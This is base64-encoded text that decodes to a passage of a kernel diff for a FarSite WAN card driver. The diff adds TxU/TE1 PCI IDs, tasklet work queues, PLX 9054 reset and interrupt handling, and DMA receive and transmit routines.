ICgoTCksIChDKS0+bWVtICsgV0lOX09GRlNFVChFKSkKIAotCiAvKgogICogICAgICBEZWJ1ZyBz dXBwb3J0CiAgKi8KQEAgLTM5OSwzMCArNTE2LDE1MSBAQAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBwcmludGsgKCBLRVJOX0RFQlVHIEZTVF9OQU1FICI6ICIgZm10LCAjIyBBICkK IAogI2Vsc2UKLSMgZGVmaW5lIGRiZyhYLi4uKSAgICAgIC8qIE5PUCAqLworI2RlZmluZSBkYmco WC4uLikJCS8qIE5PUCAqLwogI2VuZGlmCiAKLQogLyogICAgICBQcmludGluZyBzaG9ydCBjdXRz CiAgKi8KICNkZWZpbmUgcHJpbnRrX2VycihmbXQsQS4uLikgICAgcHJpbnRrICggS0VSTl9FUlIg ICAgIEZTVF9OQU1FICI6ICIgZm10LCAjIyBBICkKICNkZWZpbmUgcHJpbnRrX3dhcm4oZm10LEEu Li4pICAgcHJpbnRrICggS0VSTl9XQVJOSU5HIEZTVF9OQU1FICI6ICIgZm10LCAjIyBBICkKICNk ZWZpbmUgcHJpbnRrX2luZm8oZm10LEEuLi4pICAgcHJpbnRrICggS0VSTl9JTkZPICAgIEZTVF9O QU1FICI6ICIgZm10LCAjIyBBICkKIAotCiAvKgogICogICAgICBQQ0kgSUQgbG9va3VwIHRhYmxl CiAgKi8KLXN0YXRpYyBzdHJ1Y3QgcGNpX2RldmljZV9pZCBmc3RfcGNpX2Rldl9pZFtdID0gewot ICAgICAgICB7IEZTQ19QQ0lfVkVORE9SX0lELCBUMlBfUENJX0RFVklDRV9JRCwgUENJX0FOWV9J RCwgUENJX0FOWV9JRCwgMCwgMCwKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICBGU1RfVFlQRV9UMlAgfSwKLSAgICAgICAgeyBGU0NfUENJX1ZFTkRPUl9JRCwgVDRQX1BD SV9ERVZJQ0VfSUQsIFBDSV9BTllfSUQsIFBDSV9BTllfSUQsIDAsIDAsCi0gICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgRlNUX1RZUEVfVDRQIH0sCi0gICAgICAgIHsgMCwg fSAgICAgICAgICAgICAgICAgICAgICAgICAgLyogRW5kICovCitzdGF0aWMgc3RydWN0IHBjaV9k ZXZpY2VfaWQgZnN0X3BjaV9kZXZfaWRbXSBfX2RldmluaXRkYXRhID0geworCXtQQ0lfVkVORE9S X0lEX0ZBUlNJVEUsIFBDSV9ERVZJQ0VfSURfRkFSU0lURV9UMlAsIFBDSV9BTllfSUQsIAorCSBQ Q0lfQU5ZX0lELCAwLCAwLCBGU1RfVFlQRV9UMlB9LAorCisJe1BDSV9WRU5ET1JfSURfRkFSU0lU RSwgUENJX0RFVklDRV9JRF9GQVJTSVRFX1Q0UCwgUENJX0FOWV9JRCwgCisJIFBDSV9BTllfSUQs IDAsIDAsIEZTVF9UWVBFX1Q0UH0sCisKKwl7UENJX1ZFTkRPUl9JRF9GQVJTSVRFLCBQQ0lfREVW SUNFX0lEX0ZBUlNJVEVfVDFVLCBQQ0lfQU5ZX0lELCAKKwkgUENJX0FOWV9JRCwgMCwgMCwgRlNU X1RZUEVfVDFVfSwKKworCXtQQ0lfVkVORE9SX0lEX0ZBUlNJVEUsIFBDSV9ERVZJQ0VfSURfRkFS U0lURV9UMlUsIFBDSV9BTllfSUQsIAorCSBQQ0lfQU5ZX0lELCAwLCAwLCBGU1RfVFlQRV9UMlV9 LAorCisJe1BDSV9WRU5ET1JfSURfRkFSU0lURSwgUENJX0RFVklDRV9JRF9GQVJTSVRFX1Q0VSwg UENJX0FOWV9JRCwgCisJIFBDSV9BTllfSUQsIDAsIDAsIEZTVF9UWVBFX1Q0VX0sCisKKwl7UENJ X1ZFTkRPUl9JRF9GQVJTSVRFLCBQQ0lfREVWSUNFX0lEX0ZBUlNJVEVfVEUxLCBQQ0lfQU5ZX0lE LCAKKwkgUENJX0FOWV9JRCwgMCwgMCwgRlNUX1RZUEVfVEUxfSwKKworCXtQQ0lfVkVORE9SX0lE X0ZBUlNJVEUsIFBDSV9ERVZJQ0VfSURfRkFSU0lURV9URTFDLCBQQ0lfQU5ZX0lELCAKKwkgUENJ X0FOWV9JRCwgMCwgMCwgRlNUX1RZUEVfVEUxfSwKKwl7MCx9CQkJLyogRW5kICovCiB9OwogCi1N T0RVTEVfREVWSUNFX1RBQkxFICggcGNpLCBmc3RfcGNpX2Rldl9pZCApOworTU9EVUxFX0RFVklD RV9UQUJMRShwY2ksIGZzdF9wY2lfZGV2X2lkKTsKKworLyoKKyAqICAgICAgRGV2aWNlIERyaXZl ciBXb3JrIFF1ZXVlcworICoKKyAqICAgICAgU28gdGhhdCB3ZSBkb24ndCBzcGVuZCB0b28gbXVj aCB0aW1lIHByb2Nlc3NpbmcgZXZlbnRzIGluIHRoZSAKKyAqICAgICAgSW50ZXJydXB0IFNlcnZp Y2Ugcm91dGluZSwgd2Ugd2lsbCBkZWNsYXJlIGEgd29yayBxdWV1ZSBwZXIgQ2FyZCAKKyAqICAg ICAgYW5kIG1ha2UgdGhlIElTUiBzY2hlZHVsZSBhIHRhc2sgaW4gdGhlIHF1ZXVlIGZvciBsYXRl ciBleGVjdXRpb24uCisgKiAgICAgIEluIHRoZSAyLjQgS2VybmVsIHdlIHVzZWQgdG8gdXNlIHRo ZSBpbW1lZGlhdGUgcXVldWUgZm9yIEJIJ3MKKyAqICAgICAgTm93IHRoYXQgdGhleSBhcmUgZ29u ZSwgdGFza2xldHMgc2VlbSB0byBiZSBtdWNoIGJldHRlciB0aGFuIHdvcmsgCisgKiAgICAgIHF1 ZXVlcy4KKyAqLworCitzdGF0aWMgdm9pZCBkb19ib3R0b21faGFsZl90eChzdHJ1Y3QgZnN0X2Nh cmRfaW5mbyAqY2FyZCk7CitzdGF0aWMgdm9pZCBkb19ib3R0b21faGFsZl9yeChzdHJ1Y3QgZnN0 X2NhcmRfaW5mbyAqY2FyZCk7CitzdGF0aWMgdm9pZCBmc3RfcHJvY2Vzc190eF93b3JrX3EodW5z aWduZWQgbG9uZyB3b3JrX3EpOworc3RhdGljIHZvaWQgZnN0X3Byb2Nlc3NfaW50X3dvcmtfcSh1 bnNpZ25lZCBsb25nIHdvcmtfcSk7CisKK0RFQ0xBUkVfVEFTS0xFVChmc3RfdHhfdGFzaywgZnN0 X3Byb2Nlc3NfdHhfd29ya19xLCAwKTsKK0RFQ0xBUkVfVEFTS0xFVChmc3RfaW50X3Rhc2ssIGZz dF9wcm9jZXNzX2ludF93b3JrX3EsIDApOworCitzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqZnN0X2Nh cmRfYXJyYXlbRlNUX01BWF9DQVJEU107CitzcGlubG9ja190IGZzdF93b3JrX3FfbG9jazsKK3U2 NCBmc3Rfd29ya190eHE7Cit1NjQgZnN0X3dvcmtfaW50cTsKKworc3RhdGljIHZvaWQKK2ZzdF9x X3dvcmtfaXRlbSh1NjQgKiBxdWV1ZSwgaW50IGNhcmRfaW5kZXgpCit7CisJdW5zaWduZWQgbG9u ZyBmbGFnczsKKwl1NjQgbWFzazsKKworCS8qCisJICogR3JhYiB0aGUgcXVldWUgZXhjbHVzaXZl bHkKKwkgKi8KKwlzcGluX2xvY2tfaXJxc2F2ZSgmZnN0X3dvcmtfcV9sb2NrLCBmbGFncyk7CisK KwkvKgorCSAqIE1ha2luZyBhbiBlbnRyeSBpbiB0aGUgcXVldWUgaXMgc2ltcGx5IGEgbWF0dGVy IG9mIHNldHRpbmcKKwkgKiBhIGJpdCBmb3IgdGhlIGNhcmQgaW5kaWNhdGluZyB0aGF0IHRoZXJl IGlzIHdvcmsgdG8gZG8gaW4gdGhlCisJICogYm90dG9tIGhhbGYgZm9yIHRoZSBjYXJkLiAgTm90 ZSB0aGUgbGltaXRhdGlvbiBvZiA2NCBjYXJkcy4KKwkgKiBUaGF0IG91Z2h0IHRvIGJlIGVub3Vn aAorCSAqLworCW1hc2sgPSAxIDw8IGNhcmRfaW5kZXg7CisJKnF1ZXVlIHw9IG1hc2s7CisJc3Bp bl91bmxvY2tfaXJxcmVzdG9yZSgmZnN0X3dvcmtfcV9sb2NrLCBmbGFncyk7Cit9CisKK3N0YXRp YyB2b2lkCitmc3RfcHJvY2Vzc190eF93b3JrX3EodW5zaWduZWQgbG9uZyAvKnZvaWQgKiovd29y a19xKQoreworCXVuc2lnbmVkIGxvbmcgZmxhZ3M7CisJdTY0IHdvcmtfdHhxOworCWludCBpOwor CisJLyoKKwkgKiBHcmFiIHRoZSBxdWV1ZSBleGNsdXNpdmVseQorCSAqLworCWRiZyhEQkdfVFgs ICJmc3RfcHJvY2Vzc190eF93b3JrX3FcbiIpOworCXNwaW5fbG9ja19pcnFzYXZlKCZmc3Rfd29y a19xX2xvY2ssIGZsYWdzKTsKKwl3b3JrX3R4cSA9IGZzdF93b3JrX3R4cTsKKwlmc3Rfd29ya190 eHEgPSAwOworCXNwaW5fdW5sb2NrX2lycXJlc3RvcmUoJmZzdF93b3JrX3FfbG9jaywgZmxhZ3Mp OworCisJLyoKKwkgKiBDYWxsIHRoZSBib3R0b20gaGFsZiBmb3IgZWFjaCBjYXJkIHdpdGggd29y ayB3YWl0aW5nCisJICovCisJZm9yIChpID0gMDsgaSA8IEZTVF9NQVhfQ0FSRFM7IGkrKykgewor CQlpZiAod29ya190eHEgJiAweDAxKSB7CisJCQlpZiAoZnN0X2NhcmRfYXJyYXlbaV0gIT0gTlVM TCkgeworCQkJCWRiZyhEQkdfVFgsICJDYWxsaW5nIHR4IGJoIGZvciBjYXJkICVkXG4iLCBpKTsK KwkJCQlkb19ib3R0b21faGFsZl90eChmc3RfY2FyZF9hcnJheVtpXSk7CisJCQl9CisJCX0KKwkJ d29ya190eHEgPSB3b3JrX3R4cSA+PiAxOworCX0KK30KIAorc3RhdGljIHZvaWQKK2ZzdF9wcm9j ZXNzX2ludF93b3JrX3EodW5zaWduZWQgbG9uZyAvKnZvaWQgKiovd29ya19xKQoreworCXVuc2ln bmVkIGxvbmcgZmxhZ3M7CisJdTY0IHdvcmtfaW50cTsKKwlpbnQgaTsKKworCS8qCisJICogR3Jh YiB0aGUgcXVldWUgZXhjbHVzaXZlbHkKKwkgKi8KKwlkYmcoREJHX0lOVFIsICJmc3RfcHJvY2Vz c19pbnRfd29ya19xXG4iKTsKKwlzcGluX2xvY2tfaXJxc2F2ZSgmZnN0X3dvcmtfcV9sb2NrLCBm bGFncyk7CisJd29ya19pbnRxID0gZnN0X3dvcmtfaW50cTsKKwlmc3Rfd29ya19pbnRxID0gMDsK KwlzcGluX3VubG9ja19pcnFyZXN0b3JlKCZmc3Rfd29ya19xX2xvY2ssIGZsYWdzKTsKKworCS8q CisJICogQ2FsbCB0aGUgYm90dG9tIGhhbGYgZm9yIGVhY2ggY2FyZCB3aXRoIHdvcmsgd2FpdGlu ZworCSAqLworCWZvciAoaSA9IDA7IGkgPCBGU1RfTUFYX0NBUkRTOyBpKyspIHsKKwkJaWYgKHdv cmtfaW50cSAmIDB4MDEpIHsKKwkJCWlmIChmc3RfY2FyZF9hcnJheVtpXSAhPSBOVUxMKSB7CisJ CQkJZGJnKERCR19JTlRSLAorCQkJCSAgICAiQ2FsbGluZyByeCAmIHR4IGJoIGZvciBjYXJkICVk XG4iLCBpKTsKKwkJCQlkb19ib3R0b21faGFsZl9yeChmc3RfY2FyZF9hcnJheVtpXSk7CisJCQkJ ZG9fYm90dG9tX2hhbGZfdHgoZnN0X2NhcmRfYXJyYXlbaV0pOworCQkJfQorCQl9CisJCXdvcmtf aW50cSA9IHdvcmtfaW50cSA+PiAxOworCX0KK30KIAogLyogICAgICBDYXJkIGNvbnRyb2wgZnVu Y3Rpb25zCiAgKiAgICAgID09PT09PT09PT09PT09PT09PT09PT0KQEAgLTQzMiwxMDA1ICs2NzAs MTcyNSBAQAogICogVXNlZCB0byBiZSBhIHNpbXBsZSB3cml0ZSB0byBjYXJkIGNvbnRyb2wgc3Bh Y2UgYnV0IGEgZ2xpdGNoIGluIHRoZSBsYXRlc3QKICAqIEFNRCBBbTE4NkNIIHByb2Nlc3NvciBt ZWFucyB0aGF0IHdlIG5vdyBoYXZlIHRvIGRvIGl0IGJ5IGFzc2VydGluZyBhbmQgZGUtCiAgKiBh c3NlcnRpbmcgdGhlIFBMWCBjaGlwIFBDSSBBZGFwdGVyIFNvZnR3YXJlIFJlc2V0LiBCaXQgMzAg aW4gQ05UUkwgcmVnaXN0ZXIKLSAqIGF0IG9mZnNldCAweDUwLgorICogYXQgb2Zmc2V0IDkwNTJf Q05UUkwuICBOb3RlIHRoZSB1cGRhdGVzIGZvciB0aGUgVFhVLgogICovCiBzdGF0aWMgaW5saW5l IHZvaWQKLWZzdF9jcHVyZXNldCAoIHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkICkKK2ZzdF9j cHVyZXNldChzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCkKIHsKLSAgICAgICAgdW5zaWduZWQg aW50IHJlZ3ZhbDsKKwl1bnNpZ25lZCBjaGFyIGludGVycnVwdF9saW5lX3JlZ2lzdGVyOworCXVu c2lnbmVkIGxvbmcgaiA9IGppZmZpZXMgKyAxOworCXVuc2lnbmVkIGludCByZWd2YWw7CisKKwlp ZiAoY2FyZC0+ZmFtaWx5ID09IEZTVF9GQU1JTFlfVFhVKSB7CisJCWlmIChwY2lfcmVhZF9jb25m aWdfYnl0ZQorCQkgICAgKGNhcmQtPmRldmljZSwgUENJX0lOVEVSUlVQVF9MSU5FLCAmaW50ZXJy dXB0X2xpbmVfcmVnaXN0ZXIpKSB7CisJCQlkYmcoREJHX0FTUywKKwkJCSAgICAiRXJyb3IgaW4g cmVhZGluZyBpbnRlcnJ1cHQgbGluZSByZWdpc3RlclxuIik7CisJCX0KKwkJLyoKKwkJICogQXNz ZXJ0IFBMWCBzb2Z0d2FyZSByZXNldCBhbmQgQW0xODYgaGFyZHdhcmUgcmVzZXQKKwkJICogYW5k IHRoZW4gZGVhc3NlcnQgdGhlIFBMWCBzb2Z0d2FyZSByZXNldCBidXQgMTg2IHN0aWxsIGluIHJl c2V0CisJCSAqLworCQlvdXR3KDB4NDQwZiwgY2FyZC0+cGNpX2NvbmYgKyBDTlRSTF85MDU0ICsg Mik7CisJCW91dHcoMHgwNDBmLCBjYXJkLT5wY2lfY29uZiArIENOVFJMXzkwNTQgKyAyKTsKKwkJ LyoKKwkJICogV2UgYXJlIGRlbGF5aW5nIGhlcmUgdG8gYWxsb3cgdGhlIDkwNTQgdG8gcmVzZXQg aXRzZWxmCisJCSAqLworCQlqID0gamlmZmllcyArIDE7CisJCXdoaWxlIChqaWZmaWVzIDwgaikK KwkJCS8qIERvIG5vdGhpbmcgKi8gOworCQlvdXR3KDB4MjQwZiwgY2FyZC0+cGNpX2NvbmYgKyBD TlRSTF85MDU0ICsgMik7CisJCS8qCisJCSAqIFdlIGFyZSBkZWxheWluZyBoZXJlIHRvIGFsbG93 IHRoZSA5MDU0IHRvIHJlbG9hZCBpdHMgZWVwcm9tCisJCSAqLworCQlqID0gamlmZmllcyArIDE7 CisJCXdoaWxlIChqaWZmaWVzIDwgaikKKwkJCS8qIERvIG5vdGhpbmcgKi8gOworCQlvdXR3KDB4 MDQwZiwgY2FyZC0+cGNpX2NvbmYgKyBDTlRSTF85MDU0ICsgMik7CisKKwkJaWYgKHBjaV93cml0 ZV9jb25maWdfYnl0ZQorCQkgICAgKGNhcmQtPmRldmljZSwgUENJX0lOVEVSUlVQVF9MSU5FLCBp bnRlcnJ1cHRfbGluZV9yZWdpc3RlcikpIHsKKwkJCWRiZyhEQkdfQVNTLAorCQkJICAgICJFcnJv ciBpbiB3cml0aW5nIGludGVycnVwdCBsaW5lIHJlZ2lzdGVyXG4iKTsKKwkJfQogCi0gICAgICAg IHJlZ3ZhbCA9IGlubCAoIGNhcmQtPnBjaV9jb25mICsgMHg1MCApOworCX0gZWxzZSB7CisJCXJl Z3ZhbCA9IGlubChjYXJkLT5wY2lfY29uZiArIENOVFJMXzkwNTIpOwogCi0gICAgICAgIG91dGwg KCByZWd2YWwgfCAgMHg0MDAwMDAwMCwgY2FyZC0+cGNpX2NvbmYgKyAweDUwICk7Ci0gICAgICAg IG91dGwgKCByZWd2YWwgJiB+MHg0MDAwMDAwMCwgY2FyZC0+cGNpX2NvbmYgKyAweDUwICk7CisJ CW91dGwocmVndmFsIHwgMHg0MDAwMDAwMCwgY2FyZC0+cGNpX2NvbmYgKyBDTlRSTF85MDUyKTsK KwkJb3V0bChyZWd2YWwgJiB+MHg0MDAwMDAwMCwgY2FyZC0+cGNpX2NvbmYgKyBDTlRSTF85MDUy KTsKKwl9CiB9CiAKIC8qICAgICAgUmVsZWFzZSB0aGUgcHJvY2Vzc29yIGZyb20gcmVzZXQKICAq Lwogc3RhdGljIGlubGluZSB2b2lkCi1mc3RfY3B1cmVsZWFzZSAoIHN0cnVjdCBmc3RfY2FyZF9p bmZvICpjYXJkICkKK2ZzdF9jcHVyZWxlYXNlKHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkKQog ewotICAgICAgICAodm9pZCkgcmVhZGIgKCBjYXJkLT5jdGxtZW0gKTsKKwlpZiAoY2FyZC0+ZmFt aWx5ID09IEZTVF9GQU1JTFlfVFhVKSB7CisJCS8qCisJCSAqIEZvcmNlIHBvc3RlZCB3cml0ZXMg dG8gY29tcGxldGUKKwkJICovCisJCSh2b2lkKSByZWFkYihjYXJkLT5tZW0pOworCisJCS8qCisJ CSAqIFJlbGVhc2UgTFJFU0VUIERPID0gMQorCQkgKiBUaGVuIHJlbGVhc2UgTG9jYWwgSG9sZCwg RE8gPSAxCisJCSAqLworCQlvdXR3KDB4MDQwZSwgY2FyZC0+cGNpX2NvbmYgKyBDTlRSTF85MDU0 ICsgMik7CisJCW91dHcoMHgwNDBmLCBjYXJkLT5wY2lfY29uZiArIENOVFJMXzkwNTQgKyAyKTsK Kwl9IGVsc2UgeworCQkodm9pZCkgcmVhZGIoY2FyZC0+Y3RsbWVtKTsKKwl9CiB9CiAKIC8qICAg ICAgQ2xlYXIgdGhlIGNhcmRzIGludGVycnVwdCBmbGFnCiAgKi8KIHN0YXRpYyBpbmxpbmUgdm9p ZAotZnN0X2NsZWFyX2ludHIgKCBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCApCitmc3RfY2xl YXJfaW50cihzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCkKK3sKKwlpZiAoY2FyZC0+ZmFtaWx5 ID09IEZTVF9GQU1JTFlfVFhVKSB7CisJCSh2b2lkKSByZWFkYihjYXJkLT5jdGxtZW0pOworCX0g ZWxzZSB7CisJCS8qIFBva2UgdGhlIGFwcHJvcHJpYXRlIFBMWCBjaGlwIHJlZ2lzdGVyIChzYW1l IGFzIGVuYWJsaW5nIGludGVycnVwdHMpCisJCSAqLworCQlvdXR3KDB4MDU0MywgY2FyZC0+cGNp X2NvbmYgKyBJTlRDU1JfOTA1Mik7CisJfQorfQorCisvKiAgICAgIEVuYWJsZSBjYXJkIGludGVy cnVwdHMKKyAqLworc3RhdGljIGlubGluZSB2b2lkCitmc3RfZW5hYmxlX2ludHIoc3RydWN0IGZz dF9jYXJkX2luZm8gKmNhcmQpCiB7Ci0gICAgICAgIC8qIFBva2UgdGhlIGFwcHJvcHJpYXRlIFBM WCBjaGlwIHJlZ2lzdGVyIChzYW1lIGFzIGVuYWJsaW5nIGludGVycnVwdHMpCi0gICAgICAgICAq LwotICAgICAgICBvdXR3ICggMHgwNTQzLCBjYXJkLT5wY2lfY29uZiArIDB4NEMgKTsKKwlpZiAo Y2FyZC0+ZmFtaWx5ID09IEZTVF9GQU1JTFlfVFhVKSB7CisJCW91dGwoMHgwZjBjMDkwMCwgY2Fy ZC0+cGNpX2NvbmYgKyBJTlRDU1JfOTA1NCk7CisJfSBlbHNlIHsKKwkJb3V0dygweDA1NDMsIGNh cmQtPnBjaV9jb25mICsgSU5UQ1NSXzkwNTIpOworCX0KIH0KIAogLyogICAgICBEaXNhYmxlIGNh cmQgaW50ZXJydXB0cwogICovCiBzdGF0aWMgaW5saW5lIHZvaWQKLWZzdF9kaXNhYmxlX2ludHIg KCBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCApCitmc3RfZGlzYWJsZV9pbnRyKHN0cnVjdCBm c3RfY2FyZF9pbmZvICpjYXJkKQoreworCWlmIChjYXJkLT5mYW1pbHkgPT0gRlNUX0ZBTUlMWV9U WFUpIHsKKwkJb3V0bCgweDAwMDAwMDAwLCBjYXJkLT5wY2lfY29uZiArIElOVENTUl85MDU0KTsK Kwl9IGVsc2UgeworCQlvdXR3KDB4MDAwMCwgY2FyZC0+cGNpX2NvbmYgKyBJTlRDU1JfOTA1Mik7 CisJfQorfQorCisvKiAgICAgIFByb2Nlc3MgdGhlIHJlc3VsdCBvZiB0cnlpbmcgdG8gcGFzcyBh IHJlY2lldmVkIGZyYW1lIHVwIHRoZSBzdGFjaworICovCitzdGF0aWMgdm9pZAorZnN0X3Byb2Nl c3Nfcnhfc3RhdHVzKGludCByeF9zdGF0dXMsIGNoYXIgKm5hbWUpCiB7Ci0gICAgICAgIG91dHcg KCAweDAwMDAsIGNhcmQtPnBjaV9jb25mICsgMHg0QyApOworCXN3aXRjaCAocnhfc3RhdHVzKSB7 CisJY2FzZSBORVRfUlhfU1VDQ0VTUzoKKwkJeworCQkJLyoKKwkJCSAqIE5vdGhpbmcgdG8gZG8g aGVyZQorCQkJICovCisJCQlicmVhazsKKwkJfQorCisJY2FzZSBORVRfUlhfQ05fTE9XOgorCQl7 CisJCQlkYmcoREJHX0FTUywgIiVzOiBSZWNlaXZlIExvdyBDb25nZXN0aW9uXG4iLCBuYW1lKTsK KwkJCWJyZWFrOworCQl9CisKKwljYXNlIE5FVF9SWF9DTl9NT0Q6CisJCXsKKwkJCWRiZyhEQkdf QVNTLCAiJXM6IFJlY2VpdmUgTW9kZXJhdGUgQ29uZ2VzdGlvblxuIiwgbmFtZSk7CisJCQlicmVh azsKKwkJfQorCisJY2FzZSBORVRfUlhfQ05fSElHSDoKKwkJeworCQkJZGJnKERCR19BU1MsICIl czogUmVjZWl2ZSBIaWdoIENvbmdlc3Rpb25cbiIsIG5hbWUpOworCQkJYnJlYWs7CisJCX0KKwor CWNhc2UgTkVUX1JYX0RST1A6CisJCXsKKwkJCWRiZyhEQkdfQVNTLCAiJXM6IFJlY2VpdmVkIHBh Y2tldCBkcm9wcGVkXG4iLCBuYW1lKTsKKwkJCWJyZWFrOworCQl9CisJfQogfQogCisvKiAgICAg IEluaXRpbGFpc2UgRE1BIGZvciBQTFggOTA1NAorICovCitzdGF0aWMgaW5saW5lIHZvaWQKK2Zz dF9pbml0X2RtYShzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCkKK3sKKwkvKgorCSAqIFRoaXMg aXMgb25seSByZXF1aXJlZCBmb3IgdGhlIFBMWCA5MDU0CisJICovCisJaWYgKGNhcmQtPmZhbWls eSA9PSBGU1RfRkFNSUxZX1RYVSkgeworCSAgICAgICAgcGNpX3NldF9tYXN0ZXIoY2FyZC0+ZGV2 aWNlKTsKKwkJb3V0bCgweDAwMDIwNDQxLCBjYXJkLT5wY2lfY29uZiArIERNQU1PREUwKTsKKwkJ b3V0bCgweDAwMDIwNDQxLCBjYXJkLT5wY2lfY29uZiArIERNQU1PREUxKTsKKwkJb3V0bCgweDAs IGNhcmQtPnBjaV9jb25mICsgRE1BVEhSKTsKKwl9Cit9CisKKy8qICAgICAgVHggZG1hIGNvbXBs ZXRlIGludGVycnVwdAorICovCitzdGF0aWMgdm9pZAorZnN0X3R4X2RtYV9jb21wbGV0ZShzdHJ1 Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCwgc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQsCisJCSAg ICBpbnQgbGVuLCBpbnQgdHhwb3MpCit7CisJc3RydWN0IG5ldF9kZXZpY2UgKmRldiA9IHBvcnRf dG9fZGV2KHBvcnQpOworCXN0cnVjdCBuZXRfZGV2aWNlX3N0YXRzICpzdGF0cyA9IGhkbGNfc3Rh dHMoZGV2KTsKKworCS8qCisJICogRXZlcnl0aGluZyBpcyBub3cgc2V0LCBqdXN0IHRlbGwgdGhl IGNhcmQgdG8gZ28KKwkgKi8KKwlkYmcoREJHX1RYLCAiZnN0X3R4X2RtYV9jb21wbGV0ZVxuIik7 CisJRlNUX1dSQihjYXJkLCB0eERlc2NyUmluZ1twb3J0LT5pbmRleF1bdHhwb3NdLmJpdHMsCisJ CURNQV9PV04gfCBUWF9TVFAgfCBUWF9FTlApOworCXN0YXRzLT50eF9wYWNrZXRzKys7CisJc3Rh dHMtPnR4X2J5dGVzICs9IGxlbjsKKwlkZXYtPnRyYW5zX3N0YXJ0ID0gamlmZmllczsKK30KKwor LyogICAgICBSeCBkbWEgY29tcGxldGUgaW50ZXJydXB0CisgKi8KK3N0YXRpYyB2b2lkCitmc3Rf cnhfZG1hX2NvbXBsZXRlKHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkLCBzdHJ1Y3QgZnN0X3Bv cnRfaW5mbyAqcG9ydCwKKwkJICAgIGludCBsZW4sIHN0cnVjdCBza19idWZmICpza2IsIGludCBy eHApCit7CisJc3RydWN0IG5ldF9kZXZpY2UgKmRldiA9IHBvcnRfdG9fZGV2KHBvcnQpOworCXN0 cnVjdCBuZXRfZGV2aWNlX3N0YXRzICpzdGF0cyA9IGhkbGNfc3RhdHMoZGV2KTsKKwlpbnQgcGk7 CisJaW50IHJ4X3N0YXR1czsKKworCWRiZyhEQkdfVFgsICJmc3RfcnhfZG1hX2NvbXBsZXRlXG4i KTsKKwlwaSA9IHBvcnQtPmluZGV4OworCW1lbWNweShza2JfcHV0KHNrYiwgbGVuKSwgY2FyZC0+ cnhfZG1hX2hhbmRsZV9ob3N0LCBsZW4pOworCisJLyogUmVzZXQgYnVmZmVyIGRlc2NyaXB0b3Ig Ki8KKwlGU1RfV1JCKGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtyeHBdLmJpdHMsIERNQV9PV04pOwor CisJLyogVXBkYXRlIHN0YXRzICovCisJc3RhdHMtPnJ4X3BhY2tldHMrKzsKKwlzdGF0cy0+cnhf Ynl0ZXMgKz0gbGVuOworCisJLyogUHVzaCB1cHN0cmVhbSAqLworCWRiZyhEQkdfUlgsICJQdXNo aW5nIHRoZSBmcmFtZSB1cCB0aGUgc3RhY2tcbiIpOworCXNrYi0+bWFjLnJhdyA9IHNrYi0+ZGF0 YTsKKwlza2ItPmRldiA9IGRldjsKKwlpZiAocG9ydC0+bW9kZSA9PSBGU1RfUkFXKSB7CisJCS8q CisJCSAqIE1hcmsgaXQgZm9yIG91ciBvd24gcmF3IHNvY2tldHMgaW50ZXJmYWNlCisJCSAqLwor CQlza2ItPnByb3RvY29sID0gaHRvbnMoRVRIX1BfQ1VTVCk7CisJCXNrYi0+cGt0X3R5cGUgPSBQ QUNLRVRfSE9TVDsKKwl9IGVsc2UgeworCQlza2ItPnByb3RvY29sID0gaGRsY190eXBlX3RyYW5z KHNrYiwgc2tiLT5kZXYpOworCX0KKwlyeF9zdGF0dXMgPSBuZXRpZl9yeChza2IpOworCWZzdF9w cm9jZXNzX3J4X3N0YXR1cyhyeF9zdGF0dXMsIHBvcnRfdG9fZGV2KHBvcnQpLT5uYW1lKTsKKwlp ZiAocnhfc3RhdHVzID09IE5FVF9SWF9EUk9QKQorCQlzdGF0cy0+cnhfZHJvcHBlZCsrOworCWRl di0+bGFzdF9yeCA9IGppZmZpZXM7Cit9CisKKy8qCisgKiAgICAgIFJlY2VpdmUgYSBmcmFtZSB0 aHJvdWdoIHRoZSBETUEKKyAqLworc3RhdGljIGlubGluZSB2b2lkCitmc3RfcnhfZG1hKHN0cnVj dCBmc3RfY2FyZF9pbmZvICpjYXJkLCB1bnNpZ25lZCBjaGFyICpza2IsCisJICAgdW5zaWduZWQg Y2hhciAqbWVtLCBpbnQgbGVuKQoreworCS8qCisJICogVGhpcyByb3V0aW5lIHdpbGwgc2V0dXAg dGhlIERNQSBhbmQgc3RhcnQgaXQKKwkgKi8KKworCWRiZyhEQkdfUlgsICJJbiBmc3RfcnhfZG1h ICVwICVwICVkXG4iLCBza2IsIG1lbSwgbGVuKTsKKwlpZiAoY2FyZC0+ZG1hcnhfaW5fcHJvZ3Jl c3MpIHsKKwkJZGJnKERCR19BU1MsICJJbiBmc3RfcnhfZG1hIHdoaWxlIGRtYSBpbiBwcm9ncmVz c1xuIik7CisJfQorCisJb3V0bCgodW5zaWduZWQgbG9uZykgc2tiLCBjYXJkLT5wY2lfY29uZiAr IERNQVBBRFIwKTsJLyogQ29weSB0byBoZXJlICovCisJb3V0bCgodW5zaWduZWQgbG9uZykgbWVt LCBjYXJkLT5wY2lfY29uZiArIERNQUxBRFIwKTsJLyogZnJvbSBoZXJlICovCisJb3V0bChsZW4s IGNhcmQtPnBjaV9jb25mICsgRE1BU0laMCk7CS8qIGZvciB0aGlzIGxlbmd0aCAqLworCW91dGwo MHgwMDAwMDAwMGMsIGNhcmQtPnBjaV9jb25mICsgRE1BRFBSMCk7CS8qIEluIHRoaXMgZGlyZWN0 aW9uICovCisKKwkvKgorCSAqIFdlIHVzZSB0aGUgZG1hcnhfaW5fcHJvZ3Jlc3MgZmxhZyB0byBm bGFnIHRoZSBjaGFubmVsIGFzIGJ1c3kKKwkgKi8KKwljYXJkLT5kbWFyeF9pbl9wcm9ncmVzcyA9 